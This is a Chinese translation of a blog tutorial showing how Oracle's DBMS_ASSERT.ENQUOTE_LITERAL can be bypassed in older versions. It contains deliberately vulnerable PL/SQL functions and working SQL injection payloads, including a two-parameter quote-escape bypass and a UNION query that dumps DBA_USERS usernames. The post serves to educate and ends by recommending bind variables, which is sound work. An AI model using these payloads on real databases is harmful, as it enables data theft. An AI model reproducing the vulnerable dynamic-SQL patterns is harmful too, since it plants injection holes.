DBMS_ASSERT是Oracle数据库中的内置包,通常用于保护动态的SQL语句不受SQL注入的影响。但是,在较旧的Oracle数据库(11.2.0.4之前版本)中,提供的方法之一(DBMS_ASSERT.ENQUOTE_LITERAL
)包含一个错误,在适当的情况下,可以通过SQL注入攻击绕过保护并窃取数据。
成功利用此漏洞并不困难,但普通的安全扫描程序无法检测到该问题,或者如果这样做,他们将无法找到可行的漏洞利用路径。本文的其余部分将讨论受影响的Oracle版本,将易受攻击的dbms_assert.enquote_literal
作为用例,演示利用漏洞的概念证明。
受影响的Oracle版本
运行11g R2到11.2.0.3的Oracle数据库会受到影响。本文中的示例都使用在OEL虚拟机上运行的Oracle XE数据库。
如何使用dbms_assert.enquote_literal
引起问题的方法是在字符串周围放置一个单引号(’),“en-quoting”用于构建动态SQL语句。
这对开发人员非常有用,因为它有助于避免“escaping hell”,而不是手动构建动态sql将转义引号添加到字符串
1
stmt := 'select * from users where user = ''' || usr_var || '''';
您可以使用dbms_assert.enquote_literal
为您处理引号,并避免复杂的转义引号:
1
stmt := 'select * from users where user = ' || dbms_assert.enqoute_literal(usr_var);
将开发人员从“escaping hell”中拯救出来并不是该方法的主要目的。使用该函数的主要原因是防止sql注入。在正常的SQLi场景中,传入单引号以允许攻击者突破动态sql,并嵌入恶意代码块。如果存在不平衡的引号(引号个数不成对),dbms_assert.enquote_literal
方法将出现错误:
SQLi和DBMS_ASSERT.ENQOUTE_LITERAL作为保护: 那么这是如何防止SQL注入的呢?让我们检查一个易受SQL注入攻击的简单Oracle pl/sql函数,从该表开始,填充给定值:
1 | create table example_table(id number primary key, value varchar2(100)); |
现在我们将构建一个查询表的函数,并且容易受到SQL注入:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15create or replace function basic_sqli(input in varchar2) return xmltype
as
stmt varchar2(100) := 'select id, value from example_table where upper(value) like upper(''%' || input || '%'')';
cur sys_refcursor;
xml xmltype;
begin
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;
end;
/
1
select basic_sqli('o') from dual;
但是,通过以下标准概念证明注入输入,该功能对于注入也是微不足道的:1
2select basic_sqli('o'' ) or 1=1--') from dual;
select basic_sqli('o'' ) and 1=0--') from dual;
DBMS_ASSERT防止SQL注入
现在让我们探讨如何使用dbms_assert.enquote_lite来防止SQL注入攻击。我们将稍微修改前一个函数,以便在执行之前通过调用dbms_assert.enquote_literal
来传递用户输入:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18create or replace function protected_sqli(input in varchar2) return xmltype
as
stmt varchar2(100);
clean varchar2(100);
cur sys_refcursor;
xml xmltype;
begin
clean := dbms_assert.enquote_literal('%'||input||'%');
stmt := 'select id, value from example_table where upper(value) like upper('|| clean || ')';
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;
end;
/
我们可以看到查询的“快乐路径”行为保持不变:1
select protected_sqli('o') from dual;
但是,之前使用的相同SQL注入攻击现在会导致错误:1
select protected_sqli('o'' ) or 1=1--') from dual;
dbms_assert.enquote_literal的问题
到目前看来,这个方法给SQL注入提供了相当有力的保护,但是,早期版本的oracle中的方法仍旧存在一个关键的问题。如果您通过传递单引号的方法(在SQLplus中将其转义为’’’’),该函数将会返回单引号:
这个单引号给我们提供了成功注入一个程序所需的转义向量。这种注入方法不适用于前面的示例,因为它需要跨越多个输入字段的注入。但我们可以考虑下面函数的调用,它允许对我们的原始表有多个搜索字符串:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21create or replace function bypassable_protected_sqli(in1 in varchar2, in2 varchar2) return xmltype
as
stmt varchar2(1000);
clean1 varchar2(100);
clean2 varchar2(100);
cur sys_refcursor;
xml xmltype;
begin
clean1 := dbms_assert.enquote_literal(in1);
clean2 := dbms_assert.enquote_literal(in2);
stmt := 'select id, value from example_table where upper(value) = upper('|| clean1 || ') or upper(value) = upper(' || clean2 || ')';
dbms_output.put_line(stmt);
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;
end;
/
注意:为了更容易地查看输入的解析方式,我已经向这个函数添加了dbms_output。
名义上该函数将允许用户根据两个不同的输入来查询表:1
select bypassable_protected_sqli('cat','wood') from dual;
并且这个函数执行预期的查询:1
2select id, value from example_table
where upper(value) = upper('cat') or upper(value) = upper('wood')
一个传统的SQLi攻击已经不起作用了,因为这个函数受到了dbms_assert的保护:1
select bypassable_protected_sqli('cat'' or 1=1--','wood') from dual;
但是,如果我们传递单引号(在SQLplus中转义为’’’’),我们会看到我们可以跳过查询并在动态sql语句中生成语法错误:1
select bypassable_protected_sqli('''','wood') from dual;
如果查看查询的结果,您就会看到我们在第一个条件中插入了单引号:1
2select id, value from example_table
where upper(value) = upper(') or upper(value) = upper('wood')
现在我们用第一个参数作为我们的转义向量,用第二个输入参数作为注入有效负载:1
select bypassable_protected_sqli('''',') or 1=1--') from dual;
你可以看到,我们的第二个参数输入作为文字的SQL命令,与最后的评论(-)强迫解析器忽略尾随的引号。1
2select id, value from example_table
where upper(value) = upper(') or upper(value) = upper(') or 1-1--')
第一个参数成为我们的转义符,我们可以将任何注入查询添加到第二个参数,只要它不包含引号(这会导致dbms_assert错误)。以下是查询DBA_USERS表的示例:1
select bypassable_protected_sqli('''',') union select rownum, username from dba_users where rownum < 5--') from dual;
1
2
3
4select id, value
from example_table
where upper(value) = upper(') or upper(value) = upper(')
union select rownum, username from dba_users where rownum < 5--')
结论
最后,dbms_assert是最小化动态查询中SQL注入风险的众多方法之一。但是,真正消除SQL注入风险的唯一方法是使用静态游标,或在构建动态SQL语句时使用绑定变量。
在之后的文章中,我将介绍sqlmap如何知道dbms_assert.enquote_literal建立查询的注入尝试的结果,并查看Oracle中用于防止SQL注入的一些其他的方法。
本文翻译自:http://obtruse.syfrtext.com/2018/04/bypassing-oracle-sqli-protections.html